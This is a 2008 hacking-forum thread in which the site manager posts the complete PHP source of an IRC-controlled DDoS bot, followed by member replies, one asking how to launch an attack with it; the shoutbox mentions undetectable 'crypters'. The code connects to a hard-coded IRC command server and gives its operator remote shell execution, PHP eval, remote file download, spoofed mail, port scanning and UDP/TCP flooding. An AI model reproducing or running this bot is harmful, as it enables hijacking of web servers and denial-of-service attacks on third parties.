Dark Tavern: [PHP]DDoS Bot - Dark Tavern

Jump to content

Welcome to Dark Tavern

Welcome to Dark Tavern, like most online communities you must register to view or post in our community, but don't worry this is a simple free process that requires minimal information. Take advantage of it immediately, Register Now or Sign In.

  • Start new topics and reply to others
  • Subscribe to topics and forums to get automatic updates
  • Add events to our community calendar
  • Get your own profile and make new friends
  • Customize your experience here
Guest Message © 2010 DevFuse

Toggle shoutbox Shoutbox

Chaos Icon : (29 June 2010 - 05:37 PM) Yoooo
msp Icon : (18 June 2010 - 05:57 PM) selfcoded
msp Icon : (18 June 2010 - 05:57 PM) i have a fud crypter
Cris Icon : (17 June 2010 - 10:28 AM) Effective FUD crypters are generally scene releases. For the "newest" release, you'll want to check around forums/blogs with active programming content.
coolmac123 Icon : (06 June 2010 - 07:34 PM) Hey anyone know the NEWEST fud crypter?
deathstar Icon : (27 April 2010 - 03:41 AM) Hey i just joined, any one know any other cool sites
zetra Icon : (21 April 2010 - 07:44 AM) hi all darktavern!
Andrew Icon : (19 March 2010 - 06:22 PM) Hello
stickystee Icon : (18 March 2010 - 09:08 PM) is anyone there
stickystee Icon : (18 March 2010 - 09:02 PM) hello
legitm0dder Icon : (17 March 2010 - 03:35 PM) hellooooo
Andrew Icon : (04 March 2010 - 01:16 PM) Hello
rocksam Icon : (03 March 2010 - 06:32 AM) helo
k9ribs Icon : (21 February 2010 - 09:56 AM) any body is online?
k9ribs Icon : (21 February 2010 - 09:54 AM) can anybody help how can i trace my phone?
ZeroS Icon : (20 February 2010 - 03:17 PM) What do you do if the CMOS battery didnt delete the BIOS password?
Alrunix Icon : (17 February 2010 - 09:00 AM) can anybody pls help me out with a wordlist?
Livix Icon : (05 February 2010 - 11:16 AM) hey, motherboard is out on my computer may be gone for a while. atleast till i get up some more money to spare on the one i want
Th3Ch0s3n0n3 Icon : (28 January 2010 - 11:06 PM) anybody know where to get hxdef?
UGxCyber Icon : (27 January 2010 - 01:21 PM) So you may have to take the ENTIRE computer apart to access this, or it may just be under a panel underneath the computer itself.
Resize Shouts Area

Close Open
Close Open
Page 1 of 1
  • You cannot start a new topic
  • You cannot reply to this topic

[PHP]DDoS Bot

#1 User is offline   Andrew Icon

  • Site Manager
  • PipPipPipPip
  • Group: Site Manager
  • Posts: 1,444
  • Joined: 11-May 08
  • Gender:Male
  • Location:CT
Reputation: 1
Neutral

Posted 24 December 2008 - 10:32 AM

<?

set_time_limit(0);
error_reporting(0);

class pBot
{
var $config = array("server"=>"218.4.137.214",
"port"=>4456,
"pass"=>"", //senha do server
"prefix"=>"Robot|",
"maxrand"=>8,
"chan"=>"#rfi",
"key"=>"kochamddos.pl", //senha do canal
"modes"=>"+p",
"password"=>"aszek123", //senha do bot
"trigger"=>".",
"hostauth"=>"*" // * for any hostname
);
var $users = array();
function start()
{
if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
$this->start();
$ident = "dupek";
$alph = range("a","z");
for($i=0;$i<$this->config['maxrand'];$i++)
$ident .= $alph[rand(0,25)];
if(strlen($this->config['pass'])>0)
$this->send("PASS ".$this->config['pass']);
$this->send("USER $ident 127.0.0.1 localhost :$ident");
$this->set_nick();
$this->main();
}
function main()
{
while(!feof($this->conn))
{
$this->buf = trim(fgets($this->conn,512));
$cmd = explode(" ",$this->buf);
if(substr($this->buf,0,6)=="PING :")
{
$this->send("PONG :".substr($this->buf,6));
}
if(isset($cmd[1]) && $cmd[1] =="001")
{
$this->send("MODE ".$this->nick." ".$this->config['modes']);
$this->join($this->config['chan'],$this->config['key']);
}
if(isset($cmd[1]) && $cmd[1]=="433")
{
$this->set_nick();
}
if($this->buf != $old_buf)
{
$mcmd = array();
$msg = substr(strstr($this->buf," :"),2);
$msgcmd = explode(" ",$msg);
$nick = explode("!",$cmd[0]);
$vhost = explode("@",$nick[1]);
$vhost = $vhost[1];
$nick = substr($nick[0],1);
$host = $cmd[0];
if($msgcmd[0]==$this->nick)
{
for($i=0;$i<count($msgcmd);$i++)
$mcmd[$i] = $msgcmd[$i+1];
}
else
{
for($i=0;$i<count($msgcmd);$i++)
$mcmd[$i] = $msgcmd[$i];
}
if(count($cmd)>2)
{
switch($cmd[1])
{
case "QUIT":
if($this->is_logged_in($host))
{
$this->log_out($host);
}
break;
case "PART":
if($this->is_logged_in($host))
{
$this->log_out($host);
}
break;
case "PRIVMSG":
if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*"))
{
if(substr($mcmd[0],0,1)==".")
{
switch(substr($mcmd[0],1))
{
case "user":
if($mcmd[1]==$this->config['password'])
{
$this->privmsg($this->config['chan'],"[\2Auth\2]: $nick logado!");
$this->log_in($host);
}
else
{
$this->privmsg($this->config['chan'],"[\2Auth\2]: Senha errada! $nick");
}
break;
}
}
}
elseif($this->is_logged_in($host))
{
if(substr($mcmd[0],0,1)==".")
{
switch(substr($mcmd[0],1))
{
case "restart":
$this->send("QUIT :restart");
fclose($this->conn);
$this->start();
break;
case "mail": //mail to from subject message
if(count($mcmd)>4)
{
$header = "From: <".$mcmd[2].">";
if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header))
{
$this->privmsg($this->config['chan'],"[\2mail\2]: Isur00tossivel mandar e-mail.");
}
else
{
$this->privmsg($this->config['chan'],"[\2mail\2]: Mensagem enviada para \2".$mcmd[1]."\2");
}
}
break;
case "dns":
if(isset($mcmd[1]))
{
$ip = explode(".",$mcmd[1]);
if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
{
$this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
}
else
{
$this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
}
}
break;
case "info":
$this->privmsg($this->config['chan'],"[\2Vuln!\2]: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."]");
break;
case "bot":
$this->privmsg($this->config['chan'],"[\2Bot by matapato v1.2\2]");
break;
case "cmd":
if(isset($mcmd[1]))
{
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$this->privmsg($this->config['chan'],"[\2cmd\2]: $command");
$pipe = popen($command,"r");
while(!feof($pipe))
{
$pbuf = trim(fgets($pipe,512));
if($pbuf != NULL)
$this->privmsg($this->config['chan']," : $pbuf");
}
pclose($pipe);
}
break;
case "rndnick":
$this->set_nick();
break;
case "sur00t":
$this->send(strstr($msg,$mcmd[1]));
break;
case "php":
$eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1])));
break;
case "exec":
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$exec = shell_exec($command);
$ret = explode("\n",$exec);
$this->privmsg($this->config['chan'],"[\2exec\2]: $command");
for($i=0;$i<count($ret);$i++)
if($ret[$i]!=NULL)
$this->privmsg($this->config['chan']," : ".trim($ret[$i]));
break;
case "pscan": // .pscan 127.0.0.1 6667
if(count($mcmd) > 2)
{
if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15))
$this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2open\2");
else
$this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2closed\2");
}
break;
case "ud.server": // .ud.server <server> <port> [password]
if(count($mcmd)>2)
{
$this->config['server'] = $mcmd[1];
$this->config['port'] = $mcmd[2];
if(isset($mcmcd[3]))
{
$this->config['pass'] = $mcmd[3];
$this->privmsg($this->config['chan'],"[\2update\2]: Server trocado para ".$mcmd[1].":".$mcmd[2]." Senha: ".$mcmd[3]);
}
else
{
$this->privmsg($this->config['chan'],"[\2update\2]: Server trocado para ".$mcmd[1].":".$mcmd[2]);
}
}
break;
case "download":
if(count($mcmd) > 2)
{
if(!$fp = fopen($mcmd[2],"w"))
{
$this->privmsg($this->config['chan'],"[\2download\2]: Nao foi possivel fazer o download. Permissao negada.");
}
else
{
if(!$get = file($mcmd[1]))
{
$this->privmsg($this->config['chan'],"[\2download\2]: Nao foi possivel fazer o download de \2".$mcmd[1]."\2");
}
else
{
for($i=0;$i<=count($get);$i++)
{
fwrite($fp,$get[$i]);
}
$this->privmsg($this->config['chan'],"[\2download\2]: Arquivo \2".$mcmd[1]."\2 baixado para \2".$mcmd[2]."\2");
}
fclose($fp);
}
}
break;
case "die":
$this->send("QUIT :MORRI! comando por $nick");
fclose($this->conn);
exit;
case "logout":
$this->log_out($host);
$this->privmsg($this->config['chan'],"[\2auth\2]: $nick deslogado!");
break;
case "udpflood":
if(count($mcmd)>3)
{
$this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]);
}
break;
case "tcpflood":
if(count($mcmd)>5)
{
$this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]);
}
break;
}
}
}
break;
}
}
}
$old_buf = $this->buf;
}
$this->start();
}
function send($msg)
{
fwrite($this->conn,"$msg\r\n");

}
function join($chan,$key=NULL)
{
$this->send("JOIN $chan $key");
}
function privmsg($to,$msg)
{
$this->send("PRIVMSG $to :$msg");
}
function is_logged_in($host)
{
if(isset($this->users[$host]))
return 1;
else
return 0;
}
function log_in($host)
{
$this->users[$host] = true;
}
function log_out($host)
{
unset($this->users[$host]);
}
function set_nick()
{
if(isset($_SERVER['SERVER_SOFTWARE']))
{
if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache"))


$this->nick = "";
}
$this->nick .= $this->config['prefix'];
for($i=0;$i<$this->config['maxrand'];$i++)
$this->nick .= mt_rand(0,9);
$this->send("NICK ".$this->nick);
}
function udpflood($host,$packetsize,$time) {
$this->privmsg($this->config['chan'],"[\2UdpFlood Started!\2]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
$timei = time();
$i = 0;
while(time()-$timei < $time) {
$fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
fwrite($fp,$packet);
fclose($fp);
$i++;
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'],"[\2UdpFlood Finished!\2]: $env MB enviados / Media: $vel MB/s ");
}
function tcpflood($host,$packets,$packetsize,$port,$delay)
{
$this->privmsg($this->config['chan'],"[\2TcpFlood Started!\2]");
$packet = "";
for($i=0;$i<$packetsize;$i++)
$packet .= chr(mt_rand(1,256));
for($i=0;$i<$packets;$i++)
{
if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
{
$this->privmsg($this->config['chan'],"[\2TcpFlood\2]: Error: <$e>");
return 0;
}
else
{
fwrite($fp,$packet);
fclose($fp);
}
sleep($delay);
}
$this->privmsg($this->config['chan'],"[\2TcpFlood Finished!\2]: Config - $packets pacotes para $host:$port.");
}
}

$bot = new pBot;
$bot->start();

?>

Posted Image
[img]http://img370.imageshack.us/img370/4153/darkcopybm2.png[/img]


Feel free to use the Feedback forum if you have any suggestions or complaints.
0

#2 User is offline   bespike Icon

  • Member
  • PipPip
  • Group: Members
  • Posts: 16
  • Joined: 18-March 09
Reputation: 0
Neutral

Posted 18 March 2009 - 10:35 AM

thank you for this mate :)
0

#3 User is offline   Sc00by22 Icon

  • Member
  • PipPip
  • Group: Members
  • Posts: 14
  • Joined: 20-March 09
Reputation: 0
Neutral

Posted 20 March 2009 - 01:48 PM

well thats incredibly interesting, thanks
0

#4 User is offline   Kaos Icon

  • Member
  • PipPip
  • Group: Members
  • Posts: 10
  • Joined: 28-March 09
Reputation: 0
Neutral

Posted 28 March 2009 - 02:15 AM

Isnt this considered DoS?
0

#5 User is offline   wSk Icon

  • Learner
  • PipPipPip
  • Group: Members
  • Posts: 25
  • Joined: 04-April 09
Reputation: 0
Neutral

Posted 04 April 2009 - 08:55 AM

If i understand, this would be an IRC Bot in PHP for DDoSing ?
0

#6 User is offline   WaKaaN Icon

  • Learner
  • PipPipPip
  • Group: Members
  • Posts: 28
  • Joined: 27-November 08
  • Gender:Male
Reputation: 0
Neutral

Posted 17 April 2009 - 06:36 AM

I just took a quick look to the code, can u just explain why you are considering this as distributed dos ?

Maybe I didn't get deep enough but I dont see the distributed part ....
0

#7 User is offline   fcuk Icon

  • Newbie
  • Pip
  • Group: Members
  • Posts: 2
  • Joined: 22-May 09
Reputation: 0
Neutral

Posted 22 May 2009 - 12:35 PM

View PostWaKaaN, on Apr 17 2009, 01:36 PM, said:

I just took a quick look to the code, can u just explain why you are considering this as distributed dos ?

Maybe I didn't get deep enough but I dont see the distributed part ....


Everyone connects to an IRC server where the owner through commands tells the bot which host to flood for x amount of time.
0

#8 User is offline   bmn Icon

  • Member
  • PipPip
  • Group: Banned
  • Posts: 12
  • Joined: 24-May 09
Reputation: 0
Neutral

Posted 24 May 2009 - 10:14 AM

Didn't know this was possible in PHP, good job
0

#9 User is offline   overflow Icon

  • Member
  • PipPip
  • Group: Members
  • Posts: 21
  • Joined: 12-May 09
Reputation: 0
Neutral

Posted 31 May 2009 - 03:20 PM

Thanks :thumbsup:
0

#10 User is offline   meros Icon

  • Member
  • PipPip
  • Group: Members
  • Posts: 13
  • Joined: 29-June 09
Reputation: 0
Neutral

Posted 29 June 2009 - 01:03 AM

i didn't get how to make attack with this .. can any one explain .. what to change in the code to make it work !!

or what i have to do !

plz
0

Page 1 of 1
  • You cannot start a new topic
  • You cannot reply to this topic

1 User(s) are reading this topic
0 members, 1 guests, 0 anonymous users



    This topic has been visited by 5 user(s)

Vote for Dark Tavern

Help Dark Tavern grow by voting for us daily.
  







Partners


Icon Lastest Discussions

Donate

PayPal Seal
Amount
Currency